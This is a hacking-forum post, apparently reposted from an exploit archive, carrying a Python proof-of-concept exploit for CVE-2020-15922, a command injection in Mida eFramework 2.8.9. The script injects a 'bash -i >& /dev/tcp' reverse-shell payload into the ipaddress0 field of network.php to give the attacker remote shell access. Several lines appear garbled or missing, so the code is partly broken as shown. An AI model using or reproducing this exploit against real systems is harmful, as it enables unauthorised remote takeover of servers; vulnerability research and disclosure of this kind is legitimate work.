Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Mida eFramework 2.8.9 - Remote Code Execution


Recommended Posts

# Exploit Title: Mida eFramework 2.8.9 - Remote Code Execution
# Google Dork: Server: Mida eFramework
# Date: 2020-08-27
# Exploit Author: elbae
# Vendor Homepage: https://www.midasolutions.com/
# Software Link: http://ova-efw.midasolutions.com/
# Reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
# Version: <= 2.8.9
# CVE : CVE-2020-15922

#! /usr/bin/python3
# -*- coding: utf-8 -*-

import argparse
import base64
import random
import requests
import subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def print_disclaimer():
    1) For testing purpose only.
    2) Do not attack production environments.
    3) Intended for educational purposes only and cannot be used for law
violation or personal gain.
    4) The author is not responsible for any possible harm caused by this

def print_info():
[*] PoC exploit for Mida eFramework 2.8.9 PDC (CVE-2020-15922)
[*] Reference:https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
[*] Vulnerability: OS Command Injection RCE in PDC/pages/network.php -
Reverse Shell
    ./CVE-2020-15922 rev-IP
rev-PORT """)

def run_cmd(url,ip,port):
    rev_shell = "sudo bash -i >& /dev/tcp/{0}/{1} 0>&1".format(ip,port)
    print("[+] Reverse shell: {0}".format(rev_shell))
    data = {
        "ipaddress0":"; {0}".format(rev_shell),
    # exec rev shell
    print("[*] Starting reverse shell to {0} {1}...".format(ip,port))
        r = requests.post(url,data=data,verify=False,timeout=1)
    except requests.exceptions.ReadTimeout:
        print("[?] ...check if it worked")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("target", type=str,
        help="the complete target URL")
    parser.add_argument("ip", type=str,
        help="the ip address for reverse shell")
    parser.add_argument("port", type=str,
        help="the port for reverse shell")
    args = parser.parse_args()
    run_cmd(args.target, args.ip, args.port)

if __name__ == '__main__':
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...